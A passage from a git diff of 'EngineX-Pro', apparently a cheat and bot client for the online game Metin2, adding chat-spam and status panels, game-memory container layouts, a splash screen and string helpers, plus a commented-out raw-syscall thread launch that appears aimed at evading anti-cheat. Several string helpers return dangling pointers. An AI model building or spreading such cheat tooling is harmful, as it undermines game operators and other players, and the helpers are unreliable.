ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); + ImGui::SameLine(); + ImGui::Checkbox("Text Color", &Settings::SPAM_SHOUT_COLOR_ENABLE); + { + Settings::SPAM_SHOUT_RAINBOW_COLOR_ENABLE = false; + }; +#ifdef DEVELOPER_MODE + ImGui::SameLine(); + if (ImGui::Checkbox("Rainbow Color", &Settings::SPAM_SHOUT_RAINBOW_COLOR_ENABLE)) + { + Settings::SPAM_SHOUT_COLOR_ENABLE = false; + }; +#endif + ImGui::PushItemWidth(400); ImGui::InputText("Text", &shoutTextMessage[0], shoutTextMessage.size()); + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(33, "Spam"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 33: + OnTab1(); + break; + } + } +}; + diff --git a/EngineX-Pro/SplashScreen.cpp b/EngineX-Pro/SplashScreen.cpp new file mode 100644 index 0000000..94cc02e --- /dev/null +++ b/EngineX-Pro/SplashScreen.cpp @@ -0,0 +1,280 @@ +#include "stdafx.h" +#include "SplashScreen.h" + +#include "windowsx.h" +#include "resource.h" + + +typedef BOOL (WINAPI *lpfnSetLayeredWindowAttributes) + (HWND hWnd, COLORREF cr, BYTE bAlpha, DWORD dwFlags); + +lpfnSetLayeredWindowAttributes g_pSetLayeredWindowAttributes; +#define WS_EX_LAYERED 0x00080000 + +static LRESULT CALLBACK ExtWndProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) +{ + static CSplash * spl = NULL; + if(uMsg == WM_CREATE) + { + spl = (CSplash*)((LPCREATESTRUCT)lParam)->lpCreateParams; + } + if(spl) + return spl->WindowProc(hwnd, uMsg, wParam, lParam); + else + return DefWindowProc (hwnd, uMsg, wParam, lParam); +} + +LRESULT CALLBACK CSplash::WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) +{ + switch(uMsg) + { + case WM_DESTROY: + PostQuitMessage(0); + break; + case WM_PAINT: + OnPaint(hwnd); + break; + default: + return DefWindowProc(hwnd, uMsg, wParam, lParam); + } + + return 0; +} + +void CSplash::OnPaint(HWND hwnd) +{ + if (!m_hBitmap) + return; + + PAINTSTRUCT ps ; + HDC hDC = BeginPaint (hwnd, &ps) ; + + RECT rect; + ::GetClientRect(m_hwnd, &rect); + + HDC hMemDC = ::CreateCompatibleDC(hDC); + HBITMAP hOldBmp = (HBITMAP)::SelectObject(hMemDC, m_hBitmap); + + BitBlt(hDC, 0, 0, m_dwWidth, m_dwHeight, hMemDC, 0, 0, SRCCOPY); + + ::SelectObject(hMemDC, hOldBmp); + + ::DeleteDC(hMemDC); + + if(m_ShowText == 1) + { + HFONT hFont = CreateFont(14,0,0,0,FW_LIGHT,FALSE,FALSE,FALSE,DEFAULT_CHARSET,OUT_OUTLINE_PRECIS, CLIP_DEFAULT_PRECIS, CLEARTYPE_QUALITY, VARIABLE_PITCH, TEXT("Segoe UI")); + SelectObject(hDC, hFont); + SetBkMode(hDC,TRANSPARENT); + SetTextColor(hDC, m_TextColor); + TextOutA(hDC, 90, 70, m_TextToDisplay, strlen(m_TextToDisplay)); + } + + EndPaint (hwnd, &ps) ; +} + +void CSplash::Init() +{ + + m_hwnd = NULL; + m_lpszClassName = TEXT("SPLASH"); + m_colTrans = 0; + HMODULE hUser32 = GetModuleHandle(TEXT("USER32.DLL")); + + g_pSetLayeredWindowAttributes = (lpfnSetLayeredWindowAttributes) + GetProcAddress(hUser32, "SetLayeredWindowAttributes"); +} + +CSplash::CSplash(int resourceId, HINSTANCE hins) +{ + m_resourceId = resourceId; + m_hins = hins; + Init(); +} + +void CSplash::Start( COLORREF colTrans) +{ + m_ShowText = 0; + HICON hBitmap = NULL; + hBitmap = (HICON)::LoadImageA(m_hins, MAKEINTRESOURCE(m_resourceId), IMAGE_ICON, 0, 0, 0); + SetBitmap(hBitmap); + SetTransparentColor(colTrans); +} + +void CSplash::Start(COLORREF colTrans, bool hShowText, char hText[255], COLORREF hTextColor) +{ + m_ShowText = hShowText; + strcpy_s(m_TextToDisplay,hText); + m_TextColor = hTextColor; + + HICON hBitmap = NULL; + hBitmap = (HICON)::LoadImageA(m_hins, MAKEINTRESOURCE(m_resourceId), IMAGE_ICON, 0, 0, 0); + SetBitmap(hBitmap); + SetTransparentColor(colTrans); +} + +void CSplash::Start(LPCTSTR lpszFileName, COLORREF colTrans) +{ + SetBitmap(lpszFileName); + SetTransparentColor(colTrans); +} + +CSplash::~CSplash() +{ + FreeResources(); +} + +HWND CSplash::RegAndCreateWindow() +{ + // ======================================================================= + // Register the window with ExtWndProc as the window procedure + // ======================================================================= + WNDCLASSEX wndclass; + wndclass.cbSize = sizeof (wndclass); + wndclass.style = CS_BYTEALIGNCLIENT | CS_BYTEALIGNWINDOW; + wndclass.lpfnWndProc = ExtWndProc; + wndclass.cbClsExtra = 0; + wndclass.cbWndExtra = 0; + wndclass.hInstance = m_hins; + wndclass.hIcon = NULL; + wndclass.hCursor = ::LoadCursor( NULL, IDC_WAIT ); + wndclass.hbrBackground = (HBRUSH)::GetStockObject(LTGRAY_BRUSH); + wndclass.lpszMenuName = NULL; + wndclass.lpszClassName = m_lpszClassName; + wndclass.hIconSm = NULL; + + if(!RegisterClassEx (&wndclass)) + return NULL; + + // ======================================================================= + // Create the window of the application, passing the this pointer so that + // ExtWndProc can use that for message forwarding + // ======================================================================= + DWORD nScrWidth = ::GetSystemMetrics(SM_CXFULLSCREEN); + DWORD nScrHeight = ::GetSystemMetrics(SM_CYFULLSCREEN); + + int x = (nScrWidth - m_dwWidth) / 2; + int y = (nScrHeight - m_dwHeight) / 2; + m_hwnd = ::CreateWindowEx(WS_EX_TOPMOST|WS_EX_TOOLWINDOW, m_lpszClassName, + TEXT("Banner"), WS_POPUP, x, y, + m_dwWidth, m_dwHeight, NULL, NULL, m_hins, this); + + // ======================================================================= + // Display the window + // ======================================================================= + if(m_hwnd) + { + MakeTransparent(); + ShowWindow (m_hwnd, SW_SHOW) ; + UpdateWindow (m_hwnd); + } + return m_hwnd; +} + +int CSplash::DoLoop() +{ + // ======================================================================= + // Show the window + // ======================================================================= + if(!m_hwnd) + ShowSplash(); + + // ======================================================================= + // Get into the modal loop + // ======================================================================= + MSG msg ; + while (GetMessage (&msg, NULL, 0, 0)) + { + TranslateMessage (&msg) ; + DispatchMessage (&msg) ; + } + + return msg.wParam ; + +} + +void CSplash::ShowSplash() +{ + CloseSplash(); + RegAndCreateWindow(); +} + +DWORD CSplash::SetBitmap(LPCTSTR lpszFileName) +{ + // ======================================================================= + /*HICON hIcon = (HICON)*/ + // ======================================================================= + HICON hBitmap = NULL; + hBitmap = (HICON)::LoadImage(0, lpszFileName, IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE); + return SetBitmap(hBitmap); +} + +DWORD CSplash::SetBitmap(HICON hBitmap) +{ + int nRetValue; + BITMAP csBitmapSize; + + // ======================================================================= + // Free loaded resource + // ======================================================================= + FreeResources(); + + if (hBitmap) + { + m_hBitmap = hBitmap; + + // =================================================================== + // Get bitmap size + // =================================================================== + nRetValue = ::GetObject(hBitmap, sizeof(csBitmapSize), &csBitmapSize); + if (nRetValue == 0) + { + FreeResources(); + return 0; + } + m_dwWidth = (DWORD)csBitmapSize.bmWidth; + m_dwHeight = (DWORD)csBitmapSize.bmHeight; + } + + return 1; +} + +void CSplash::FreeResources() +{ + if (m_hBitmap) + ::DeleteObject (m_hBitmap); + m_hBitmap = NULL; +} + +int CSplash::CloseSplash() +{ + + if(m_hwnd) + { + SendMessage(m_hwnd, WM_CLOSE, 0, 0); + m_hwnd = 0; + UnregisterClass(m_lpszClassName, m_hins); + return 1; + } + return 0; +} + +bool CSplash::SetTransparentColor(COLORREF col) +{ + m_colTrans = col; + + return MakeTransparent(); +} + +bool CSplash::MakeTransparent() +{ + + if(m_hwnd && g_pSetLayeredWindowAttributes && m_colTrans ) + { + // set layered style for the window + SetWindowLong(m_hwnd, GWL_EXSTYLE, GetWindowLong(m_hwnd, GWL_EXSTYLE) | WS_EX_LAYERED); + // call it with 0 alpha for the given color + g_pSetLayeredWindowAttributes(m_hwnd, m_colTrans, 0, LWA_COLORKEY); + } + return TRUE; +} diff --git a/EngineX-Pro/SplashScreen.h b/EngineX-Pro/SplashScreen.h new file mode 100644 index 0000000..4103c36 --- /dev/null +++ b/EngineX-Pro/SplashScreen.h @@ -0,0 +1,113 @@ + +#ifndef _ABHI_SPLASH_H_ +#define _ABHI_SPLASH_H_ + +#include "windows.h" + + +class CSplash +{ +public: + + CSplash(int resourceId,HINSTANCE hins); + + + void Start( COLORREF colTrans, bool hShowText, char hText[255], COLORREF hTextColor); + void Start( COLORREF colTrans); + void Start(LPCTSTR lpszFileName, COLORREF colTrans); + + virtual ~CSplash(); + + void ShowSplash(); + + + int DoLoop(); + + + int CloseSplash(); + + + DWORD SetBitmap(LPCTSTR lpszFileName); + DWORD SetBitmap(HICON hBitmap); + + + bool SetTransparentColor(COLORREF col); + + LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam); + + HWND m_hwnd; + HANDLE m_SplashEvent; +private: + void Init(); + void OnPaint(HWND hwnd); + bool MakeTransparent(); + HWND RegAndCreateWindow(); + COLORREF m_colTrans; + DWORD m_dwWidth; + DWORD m_dwHeight; + void FreeResources(); + HICON m_hBitmap; + LPCTSTR m_lpszClassName; + bool m_ShowText; + char m_TextToDisplay[255]; + COLORREF m_TextColor; + HINSTANCE m_hins; + int m_resourceId; +}; + + + +DWORD WINAPI SplashThread(CSplash* lpSplash) // OK +{ + lpSplash->ShowSplash(); + + SetEvent(lpSplash->m_SplashEvent); + + MSG msg; + + while (GetMessage(&msg, 0, 0, 0) != 0) + { + TranslateMessage(&msg); + DispatchMessageA(&msg); + } + return 0; +} + + +void SplashScreen(int ResId,HINSTANCE hins, bool TextSwitch, char DisplayText[255], int CloseTime) +{ + CSplash splash(ResId, hins); + COLORREF TextColor; + TextColor = RGB(185, 43, 43); + + if (TextSwitch) + { + (&splash)->Start( RGB(128, 128, 128), 1, DisplayText, TextColor); + } + else + { + (&splash)->Start( RGB(128, 128, 128)); + } + (&splash)->m_SplashEvent = CreateEvent(0, 0, 0, 0); + + //HANDLE hThreads = nullptr; + //NTSTATUS ret = SYSCALL(0xBB, 11, &hThreads, THREAD_ALL_ACCESS, 0, (HANDLE)-1, (LPTHREAD_START_ROUTINE)SplashThread, 0, 0, 0, 0, 0, 0); + //if (ret != 0 || hThreads == nullptr) + //{ + // MessageBox(0, "error!3", 0, 0); + //} + //CloseHandle(hThreads); + + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SplashThread, (&splash), 0, 0); + + WaitForSingleObject((&splash)->m_SplashEvent, INFINITE); + + CloseHandle((&splash)->m_SplashEvent); + + if (CloseTime > 0) + { + Sleep(CloseTime); + (&splash)->CloseSplash(); + } +} +#endif //_ABHI_SPLASH_H_ diff --git a/EngineX-Pro/Status.h b/EngineX-Pro/Status.h new file mode 100644 index 0000000..71ef96c --- /dev/null +++ b/EngineX-Pro/Status.h @@ -0,0 +1,298 @@ +#pragma once +class Status :public IAbstractModuleBase, public Singleton +{ + DWORD lastTimeCheckStatus = 0; + + string stringPlayerName =""; + string stringPlayerID = ""; + string stringPlayerPositionX = ""; + string stringPlayerPositionY = ""; + string stringPlayerPositionZ = ""; + string stringTargetIndex = ""; + string stringTargetRank = ""; + string stringTargetVnum = ""; + string stringTargetDistance = ""; + string stringTargetType = ""; + string stringTargetName = ""; + string stringPlayersCount = ""; + string stringNpcCount = ""; + string stringMetinCount = ""; +public: + void OnStart() + { + + } + + void OnStop() + { + } + + void OnRender() + { + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("StatusBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::Checkbox("Status Enable", &Settings::STATUS_ENABLE); + + + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "Player Name"); + ImGui::SameLine(); + + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringPlayerName.c_str()); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "Position X Y:"); + + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringPlayerPositionX.c_str()); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "/"); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringPlayerPositionY.c_str()); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "/"); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringPlayerPositionZ.c_str()); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "VID Player:"); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringPlayerID.c_str()); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "VID Target:"); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringTargetIndex.c_str()); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "VNUM Target:"); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringTargetVnum.c_str()); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "VNUM Rank:"); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringTargetRank.c_str()); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "Target Distance:"); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringTargetDistance.c_str()); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "Target Type:"); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringTargetType.c_str()); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "Target Name:"); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringTargetName.c_str()); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "Players Viewport:"); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringPlayersCount.c_str()); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "NPC Viewport:"); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringNpcCount.c_str()); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), "Stones Viewport:"); + ImGui::SameLine(); + ImGui::TextColored(ImVec4(1.0f, 1.0f, 0.0f, 1.0f), stringMetinCount.c_str()); + + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(31, "Status"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 31: + OnTab1(); + break; + } + } + + void OnUpdate() + { + + + if (Settings::STATUS_ENABLE) + { + + if (!GameFunctionsCustom::PlayerIsInstance() || (GetTickCount() - lastTimeCheckStatus) < 1000) + { + return; + } + else + { + lastTimeCheckStatus = GetTickCount(); + } + const char* playerName = GameFunctionsCustom::PlayerGetName(); + int playerIndex = GameFunctions::PlayerGetMainCharacterIndex(); + int targetIndex = GameFunctions::PlayerGetTargetVID(); + int targetVnum = 0; + if (targetIndex != NULL) { + targetVnum = GameFunctions::InstanceBaseGetVirtualNumber(GameFunctions::CharacterManagerGetInstancePtr(targetIndex)); + } + int bRank = GameFunctionsCustom::GetObjectRank(targetVnum); + int targetType = GameFunctionsCustom::InstanceGetInstanceTypeByVID(targetIndex); + const char* targetName = GameFunctionsCustom::InstanceGetNameByVID(targetIndex); + float distance = GameFunctionsCustom::PlayerGetCharacterDistance(targetIndex); + int hpPercent = GameFunctionsCustom::GetHpProcentageStatus(); + int mpPercent = GameFunctionsCustom::GetMpProcentageStatus(); + + + int NPCViewportCount = GameFunctionsCustom::GetObjectListCount(OBJECT_NPC); + int PlayersViewportCount = GameFunctionsCustom::GetObjectListCount(OBJECT_PC); + int StonesViewportCount = GameFunctionsCustom::GetObjectListCount(OBJECT_STONE); + + + + + D3DVECTOR playerPosition = GameFunctionsCustom::PlayerGetPixelPosition(); + + int playerIsAlive = !GameFunctionsCustom::PlayerIsDead(); + int playerIsMouting = GameFunctionsCustom::PlayerIsMountingHorse(); + if (playerName != NULL) + { + stringPlayerName = string(playerName); + } + else + { + stringPlayerName = "-/-"; + } + if (playerPosition.x != 0 && playerPosition.y != 0) + { + stringPlayerPositionX = to_string(playerPosition.x); + stringPlayerPositionY = to_string(playerPosition.y); + stringPlayerPositionZ = to_string(playerPosition.z); + } + else + { + stringPlayerPositionX = "-"; + stringPlayerPositionY = "-"; + stringPlayerPositionZ = "-"; + } + + if (targetIndex != 0) + { + stringTargetIndex = to_string(targetIndex); + } + else + { + stringTargetIndex = "-/-"; + } + + if (targetVnum != 0) + { + stringTargetVnum = to_string(targetVnum); + } + else + { + stringTargetVnum = "-/-"; + } + + if (bRank != 0) + { + stringTargetRank = to_string(bRank); + } + else + { + stringTargetRank = "-/-"; + } + + if (playerIndex != 0) + { + stringPlayerID = to_string(playerIndex); + } + else + { + stringPlayerID = "-/-"; + } + + if (distance != -1) + { + stringTargetDistance = to_string(distance); + } + else + { + stringTargetDistance = "-/-"; + } + + if (targetType == -1) + { + stringTargetType = "-/-"; + } + else if (targetType == 0) + { + stringTargetType = "MOB"; + } + else if (targetType == 1) + { + stringTargetType = "NPC"; + } + else if (targetType == 2) + { + stringTargetType = "METIN"; + } + else if (targetType == 6) + { + stringTargetType = "GRACZ"; + } + else + { + stringTargetType = to_string(targetType); + } + + + if (targetName != NULL) + { + stringTargetName = targetName; + } + else + { + stringTargetName = "-/-"; + } + if (hpPercent != 0) + { + + } + if (mpPercent != 0) + { + + } + if (NPCViewportCount > 0) + { + stringNpcCount = to_string(NPCViewportCount); + } + else + { + stringNpcCount = "-/-"; + } + if (PlayersViewportCount > 0) + { + stringPlayersCount = to_string(PlayersViewportCount); + } + else + { + stringPlayersCount = "-/-"; + } + if (StonesViewportCount > 0) + { + stringMetinCount = to_string(StonesViewportCount); + } + else + { + stringMetinCount = "-/-"; + } + if (playerIsAlive != -1) + { + + } + if (playerIsMouting != -1) + { + + } + + + + } + + } + +}; + + diff --git a/EngineX-Pro/StdV80-110.h b/EngineX-Pro/StdV80-110.h new file mode 100644 index 0000000..b47ab80 --- /dev/null +++ b/EngineX-Pro/StdV80-110.h @@ -0,0 +1,322 @@ +#pragma once +namespace MapaGlobal +{ + namespace std + { + class string + { + public: + + enum + { + _BUF_SIZE = 16 / sizeof(char) < 1 ? 1 : 16 / sizeof(char), + _ALLOC_MASK = sizeof(char) <= 1 ? 15 : sizeof(char) <= 2 ? 7 : sizeof(char) <= 4 ? 3 : sizeof(char) <= 8 ? 1 : 0, + }; + + string() : _Alval(allocator::template rebind::other()) + { + _Tidy(); + } + + string(const char* _Ptr) : _Alval(allocator::template rebind::other()) + { + _Tidy(); + assign(_Ptr, char_traits::length(_Ptr)); + } + + ~string() + { + _Tidy(true); + } + + const char* c_str() const + { + return (_Myptr()); + } + + const char* _Myptr() const + { + return (_BUF_SIZE <= _Myres ? _Bx._Ptr : _Bx._Buf); + } + + void _Tidy(bool _Built = false, allocator::size_type _Newsize = 0) + { + if (!_Built) + { + } + else if (_BUF_SIZE <= _Myres) + { + char* _Ptr = _Bx._Ptr; + + if (0 < _Newsize) + copy(_Bx._Buf, _Ptr, _Newsize); + + _Alval.deallocate(_Ptr, _Myres + 1); + } + + _Myres = _BUF_SIZE - 1; + _Eos(_Newsize); + } + + string& assign(const char* _Ptr, allocator::size_type _Count) + { + if (_Grow(_Count)) + { + copy((char*)_Myptr(), _Ptr, _Count); + _Eos(_Count); + } + + return (*this); + } + + bool _Grow(allocator::size_type _Newsize, bool _Trim = false) + { + if (max_size() < _Newsize) + { + //_Xlength_error("string too long"); + } + + if (_Myres < _Newsize) + { + _Copy(_Newsize, _Mysize); + } + else if (_Trim && _Newsize < _BUF_SIZE) + { + _Tidy(true, _Newsize < _Mysize ? _Newsize : _Mysize); + } + else if (_Newsize == 0) + { + _Eos(0); + } + + return (0 < _Newsize); + } + + allocator::size_type max_size() const + { + return (_Alval.max_size() <= 1 ? 1 : _Alval.max_size() - 1); + } + + static char* copy(char* _First1, const char* _First2, size_t _Count) + { + return ((char*)_CSTD memcpy(_First1, _First2, _Count)); + } + + void _Copy(allocator::size_type _Newsize, allocator::size_type _Oldlen) + { + allocator::size_type _Newres = _Newsize | _ALLOC_MASK; + + if (max_size() < _Newres) + { + _Newres = _Newsize; + } + else if (_Newres / 3 < _Myres / 2 && _Myres <= max_size() - _Myres / 2) + { + _Newres = _Myres + _Myres / 2; + } + + char* _Ptr = 0; + + _TRY_BEGIN + _Ptr = _Alval.allocate(_Newres + 1); + _CATCH_ALL + _Newres = _Newsize; + _TRY_BEGIN + _Ptr = _Alval.allocate(_Newres + 1); + _CATCH_ALL + _Tidy(true); + _RERAISE; + _CATCH_END + _CATCH_END + + if (0 < _Oldlen) + copy(_Ptr, _Myptr(), _Oldlen); + + _Tidy(true); + _Bx._Ptr = _Ptr; + _Myres = _Newres; + _Eos(_Oldlen); + } + + void _Eos(allocator::size_type _Newsize) + { + char_traits::assign((char)_Myptr()[_Mysize = _Newsize], char()); + } + + bool _Inside(const char* _Ptr) + { + if (_Ptr == 0 || _Ptr < _Myptr() || _Myptr() + _Mysize <= _Ptr) + return false; + + return true; + } + + protected: + + allocator::template rebind::other _Alval; + + union _Bxty + { + char _Buf[_BUF_SIZE]; + char* _Ptr; + } _Bx; + + allocator::size_type _Mysize; + allocator::size_type _Myres; + }; + + template + struct map + { + struct iterator + { + friend struct map; + + struct node + { + friend struct map; + + protected: + node* _Left; + node* _Parent; + node* _Right; + public: + T first; + Y second; + protected: + char _Unknown0; + char _isHead; + }; + + protected: + node* _Ptr; + public: + iterator(node* _Node) : _Ptr(_Node) { } + + bool operator == (const iterator& it) { return _Ptr == it._Ptr; } + bool operator != (const iterator& it) { return _Ptr != it._Ptr; } + + node* operator ->() + { + return _Ptr; + } + + node operator *() + { + return *_Ptr; + } + + iterator& operator++(int) + { + node* _Node = _Ptr->_Right; + + if (!_Node->_isHead) + { + while (!_Node->_Left->_isHead) + _Node = _Node->_Left; + } + else { + while (!(_Node = _Ptr->_Parent)->_isHead && _Ptr == _Node->_Right) + _Ptr = _Node; + } + + _Ptr = _Node; + return *this; + } + }; + protected: + char _Unknown0[4]; + iterator _Head; + unsigned long _Size; + public: + + iterator begin() + { + return iterator(_Head._Ptr->_Left); + } + + iterator end() + { + return iterator(_Head._Ptr); + } + + unsigned long size() + { + return _Size; + } + }; + + template + struct list + { + struct iterator + { + class node + { + friend struct list; + protected: + node* _Left; + node* _Right; + public: + T _Data; + }; + + friend struct list; + + protected: + node* _Ptr; + public: + + iterator(node* _Node) : _Ptr(_Node) { } + + bool operator == (const iterator& it) { return _Ptr == it._Ptr; } + bool operator != (const iterator& it) { return _Ptr != it._Ptr; } + + node* operator ->() + { + return _Ptr; + } + + T& operator *() + { + return _Ptr->_Data; + } + + iterator& operator++(int) + { + _Ptr = _Ptr->_Right; + return *this; + } + }; + + protected: + char _Unknown0[4]; + iterator _Head; + unsigned long _Size; + public: + iterator begin() + { + return iterator(_Head._Ptr->_Right); + } + + iterator end() + { + return iterator(_Head._Ptr); + } + + unsigned long size() + { + return _Size; + } + }; + + template + struct vector + { + void* unk0; + void* unk1; + void* unk2; + void* unk3; + }; + }; +}; \ No newline at end of file diff --git a/EngineX-Pro/StopWatch.h b/EngineX-Pro/StopWatch.h new file mode 100644 index 0000000..eaff3ee --- /dev/null +++ b/EngineX-Pro/StopWatch.h @@ -0,0 +1,70 @@ +#ifndef TIMER_H +#define TIMER_H + +#ifndef LARGE_INTEGER +#define NOMINMAX +#define WIN32_LEAN_AND_MEAN +#include +#endif + +class StopWatch +{ +public: + StopWatch() + { + mStop.QuadPart = mStart.QuadPart = 0; + if (!mFreq.QuadPart) { + QueryPerformanceFrequency(&mFreq); + } + } + + bool running() + { + return mStop.QuadPart == 0 && mStart.QuadPart != 0; + } + + void start() + { + mStop.QuadPart = 0; + QueryPerformanceCounter(&mStart); + } + + void stop() + { + QueryPerformanceCounter(&mStop); + mStop.QuadPart = ((mStop.QuadPart - mStart.QuadPart) * 1000000) / mFreq.QuadPart; + } + + const LARGE_INTEGER& nano() const + { + return mStop; + } + + long milli() const + { + return static_cast(mStop.QuadPart ? ((mStop.QuadPart + 500) / 1000) : 0); + } + + double milli_hp() const + { + return mStop.QuadPart / 1000.0; + } + + long sec() const + { + return static_cast(mStop.QuadPart ? ((mStop.QuadPart + 500000) / 1000000) : 0); + } + + double sec_hp() const + { + return mStop.QuadPart / 1000000.0; + } + +private: + static LARGE_INTEGER mFreq; + LARGE_INTEGER mStart, mStop; +}; + +__declspec(selectany) LARGE_INTEGER StopWatch::mFreq = { 0 }; + +#endif // TIMER_H \ No newline at end of file diff --git a/EngineX-Pro/StringExtension.h b/EngineX-Pro/StringExtension.h new file mode 100644 index 0000000..d2afdbc --- /dev/null +++ b/EngineX-Pro/StringExtension.h @@ -0,0 +1,381 @@ +#pragma once +class StringExtension +{ +public: + + static string ToUpper(string strToConvert) + { + std::transform(strToConvert.begin(), strToConvert.end(), strToConvert.begin(), ::toupper); + + return strToConvert; + } + static const char* StringExtension::ConstCharJoin(const char* chr1, const char* chr2) + { + + char result[sizeof(chr1) + sizeof(chr2)]; + strncpy(result, chr1, sizeof(result)); + strncat(result, chr2, sizeof(result)); + return result; + } + static string ReplaceString(std::string subject, const std::string& search, const std::string& replace) + { + size_t pos = 0; + while ((pos = subject.find(search, pos)) != std::string::npos) { + subject.replace(pos, search.length(), replace); + pos += replace.length(); + } + return subject; + } + static bool Contains(const std::string& sentence, const std::string& word) + { + string Original = sentence; + string ToFind = word; + std::transform(Original.begin(), Original.end(), Original.begin(), [](unsigned char c) { return tolower(c); }); + std::transform(ToFind.begin(), ToFind.end(), ToFind.begin(), [](unsigned char c) { return tolower(c); }); + return Original.find(ToFind) != std::string::npos; + } + + static bool ContainsW(const std::wstring& sentence, const std::wstring& word) + { + return sentence.find(word) + + != std::string::npos; + } + static bool Equals(const char* word1, const char* word2) + { + if (strcmp(word1, word2) == 0) + { + return true; + } + else + { + return false; + } + } + + static unsigned char* BinToStrhex(const unsigned char* bin, unsigned int binsz, unsigned char** result) + { + unsigned char hex_str[] = "0123456789ABCDEF"; + unsigned int i; + + if (!(*result = (unsigned char*)malloc(binsz * 2 + 1))) + return (NULL); + + (*result)[binsz * 2] = 0; + + if (!binsz) + return (NULL); + + for (i = 0; i < binsz; i++) + { + (*result)[i * 2 + 0] = hex_str[(bin[i] >> 4) & 0x0F]; + (*result)[i * 2 + 1] = hex_str[(bin[i]) & 0x0F]; + } + return (*result); + } + + static string MakeHexString(BYTE* data, int len, bool use_uppercase = true, bool insert_spaces = false) + { + std::ostringstream ss; + ss << std::hex << setfill('0'); + if (use_uppercase) + ss << std::uppercase; + for (int i = 0; i < len; ++i) + { + ss << setw(2) << static_cast(data[i]); + if (insert_spaces) + ss << " "; + } + return ss.str(); + } + static string BYTEToHex(BYTE BYTE) + { + ostringstream ss; + ss << std::hex << setfill('0'); + ss << std::uppercase; + //ss << "0x"; + ss << setw(2) << static_cast(BYTE); + return ss.str(); + } + + static string StringFormat(const std::string fmt, ...) { + int size = ((int)fmt.size()) * 2 + 50; // Use a rubric appropriate for your code + std::string str; + va_list ap; + while (1) + { // Maximum two passes on a POSIX system... + str.resize(size); + va_start(ap, fmt); + int n = vsnprintf((char*)str.data(), size, fmt.c_str(), ap); + va_end(ap); + if (n > -1 && n < size) + { // Everything worked + str.resize(n); + return str; + } + if (n > -1) // Needed size returned + size = n + 1; // For null char + else + size *= 2; // Guess at a larger size (OS specific) + } + return str; + } + static string StringFormat2(const string fmt_str, ...) + { + int final_n, n = ((int)fmt_str.size()) * 2; + unique_ptr formatted; + va_list ap; + while (1) + { + formatted.reset(new char[n]); /* Wrap the plain char array into the unique_ptr */ + strcpy(&formatted[0], fmt_str.c_str()); + va_start(ap, fmt_str); + final_n = vsnprintf(&formatted[0], n, fmt_str.c_str(), ap); + va_end(ap); + if (final_n < 0 || final_n >= n) + n += abs(final_n - n + 1); + else + break; + } + return string(formatted.get()); + } + static const char* StringFormatChar(const string fmt_str, ...) + { + int final_n, n = ((int)fmt_str.size()) * 2; + unique_ptr formatted; + va_list ap; + while (1) { + formatted.reset(new char[n]); /* Wrap the plain char array into the unique_ptr */ + strcpy(&formatted[0], fmt_str.c_str()); + va_start(ap, fmt_str); + final_n = vsnprintf(&formatted[0], n, fmt_str.c_str(), ap); + va_end(ap); + if (final_n < 0 || final_n >= n) + n += abs(final_n - n + 1); + else + break; + } + return string(formatted.get()).c_str(); + } + static string BYTEToAsciiString(void* data, int len) + { + + string ret = ""; + BYTE* dataBuff = new BYTE[len]; + memcpy(dataBuff, data, len); + for (int j = 0; j < len; j++) + { + + if (dataBuff[j] > 0x20 && dataBuff[j] < 0x80) + { 